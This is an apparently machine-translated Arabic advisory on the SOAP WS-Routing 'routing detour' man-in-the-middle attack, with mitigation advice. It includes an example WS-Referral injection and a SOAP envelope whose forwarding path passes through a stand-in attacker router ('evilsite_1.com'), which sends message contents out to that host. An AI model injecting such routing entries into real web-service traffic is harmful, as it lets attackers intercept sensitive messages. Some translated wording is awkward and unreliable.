SOAP Routing Detours الضعف

وصف


بروتوكول توجيه WS هو بروتوكول لتبادل رسائل SOAP من مرسل رسالة أولية إلى المتلقي ، عادةً عبر مجموعة من الوسطاء. يتم تطبيق بروتوكول توجيه WS كملحق SOAP ، وهو مضمن في رأس SOAP. غالبًا ما يتم استخدام WS-Routing لتوفير طريقة لتوجيه حركة مرور XML من خلال بيئات ومعاملات معقدة من خلال السماح لمحطات الطريق المؤقتة في مسار XML بتعيين تعليمات التوجيه لمستند XML.

باتباع نهج الحد الأدنى ، يقوم WS-Routing بتغليف مسار الرسالة داخل رسالة SOAP ، بحيث تحتوي الرسالة على معلومات كافية ليتم إرسالها عبر الإنترنت باستخدام وسائل النقل مثل TCP و UDP أثناء الدعم:

  • نموذج مسار رسالة SOAP ،
  • الطباعة على الوجهين ، وأنماط الرسائل أحادية الاتجاه ،
  • الطباعة على الوجهين ، وأنماط رسائل طلب الاستجابة ، و
  • رسالة الارتباط.

مسارات التوجيه هي نوع من الهجمات "رجل في الوسط" حيث يمكن حقن الوسطاء أو "اختطافهم" لتوجيه الرسائل الحساسة إلى موقع خارجي. يمكن تعديل معلومات التوجيه (إما في رأس HTTP أو في رأس WS-Routing) في طريقها ويمكن إزالة آثار التوجيه من الرأس والرسالة بحيث لا يتلقى التطبيق المستلم أي من الحكمة بحدوث التفاف التوجيه.

القضية الأساسية


يقوم المهاجم بحقن عقدة توجيه وهمية (باستخدام خدمة WS-Referral) في جدول التوجيه لرأس XML لرسالة SOAP المحددة في مرحلة الاستكشاف. وبالتالي ، يمكن للمهاجم توجيه رسالة XML إلى العقدة التي يتحكم فيها المهاجم (والوصول إلى محتويات الرسالة)

مثال على حقن WS-Routing المستند إلى WS-الإحالة لمسار العقدة الزائفة


<r:ref xmlns:r="http://schemas.example.com/referral"> <r:for> <r:prefix>http://example_2.com/router</r:prefix> </r:for> <r:if/> <r:go> <r:via>http://evilsite_1.com/router</r:via> </r:go> </r:ref> 

مما أسفر عن هجوم التفاف التوجيه


 <S:Envelope> <S:Header> <m:path xmlns:m="http://schemas.example.com/rp/" S:actor="http://schemas.example.com/soap/actor" S:mustUnderstand="1"> <m:action>http://example_0.com/</m:action> <m:to>http://example_4.com/router</m:to> <m:id>uuid:1235678-abcd-1a2b-3c4d-1a2b3c4d5e6f</m:id> <m:fwd> <m:via>http://example_2.com/router</m:via> <m:via>http://evilesite_1.com/router</m:via> <m:via>http://example_3.com/router</m:via> </m:fwd> <m:rev /> </m:path> </S:Header> <S:Body> ... </S:Body> </S:Envelope> 

نتيجة


وبالتالي ، باستخدام Routing Detour ، يمكن للمهاجم توجيه رسالة XML إلى عقدة يسيطر عليها المتسلل (والوصول إلى محتويات الرسالة).

العلاج العام


التصميم: حدد الحد الأقصى لعدد العقد المتوسطة للطلب وتطلب اتصالات SSL مع المصادقة المتبادلة.

التنفيذ: استخدم طبقة المقابس الآمنة لإجراء اتصالات بين جميع الأطراف ذات المصادقة المتبادلة

Source: https://habr.com/ru/post/ar467681/


All Articles